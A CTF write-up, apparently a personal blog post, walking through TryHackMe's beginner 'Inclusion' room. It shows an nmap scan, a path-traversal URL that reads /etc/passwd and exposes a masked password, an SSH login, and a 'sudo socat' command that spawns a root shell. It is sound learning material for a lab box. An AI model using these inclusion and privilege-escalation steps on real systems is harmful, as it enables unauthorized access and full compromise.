CTF Writeups

TryHackMe Inclusion Writeup

Beginner friendly room based on learning more about local file inclusion

WSGSec

2 min readJul 10, 2021

Photo by Mr Cup / Fabien Barral on Unsplash

TryHackMe | Inclusion

A beginner level LFI challenge

tryhackme.com

Recon

First we will do dome recon with an nmap scan :

nmap scan reveals 2 ports open, ssh and HTTP

─$ nmap -A -p- $IP
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-25 18:26 EDT
Nmap scan report for 10.10.82.235
Host is up (0.015s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e6:3a:2e:37:2b:35:fb:47:ca:90:30:d2:14:1c:6c:50 (RSA)
|   256 73:1d:17:93:80:31:4f:8a:d5:71:cb:ba:70:63:38:04 (ECDSA)
|_  256 d3:52:31:e8:78:1b:a6:84:db:9b:23:86:f0:1f:31:2a (ED25519)
80/tcp open  http    Werkzeug httpd 0.16.0 (Python 3.6.9)
|_http-title: My blog
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.73 seconds

This scan reveals there is a HTTP web server open, as well as SSH protocol. First I had a look at the webpage :

Website is a blog
Interesting article found. pretty sure the room will also vulnerable to LFI :

able to view the /etc/passwd dir : http://10.10.82.235/article?name=../../../../etc/passwd :

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false falconfeast:x:1000:1000:falconfeast,,,:/home/falconfeast:/bin/bash #falconfeast:************ sshd:x:110:65534::/run/sshd:/usr/sbin/nologin mysql:x:111:116:MySQL Server,,,:/nonexistent:/bin/false

logged in to SSH using *********:******** creds
user flag found :

$ ssh falconfeast@10.10.82.235
falconfeast@inclusion:~$ ls
articles  user.txt
falconfeast@inclusion:~$ cat user.txt

root very easily found after running sudo -l with socat being allowed to run as root, allowed me to escalate privileges by executing a root shell in socat :
Note : used a very basic shell but its all that's needed on this box

falconfeast@inclusion:~$ sudo -l
Matching Defaults entries for falconfeast on inclusion:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser falconfeast may run the following commands on inclusion:
    (root) NOPASSWD: /usr/bin/socat
falconfeast@inclusion:~$ sudo socat stdin exec:/bin/sh
ls
articles
user.txt
cd root
/bin/sh: 2: cd: can't cd to root
cd /root
ls
root.txt
cat root.txt

easy box, great for beginners. Worth giving it a try when starting out in infosec.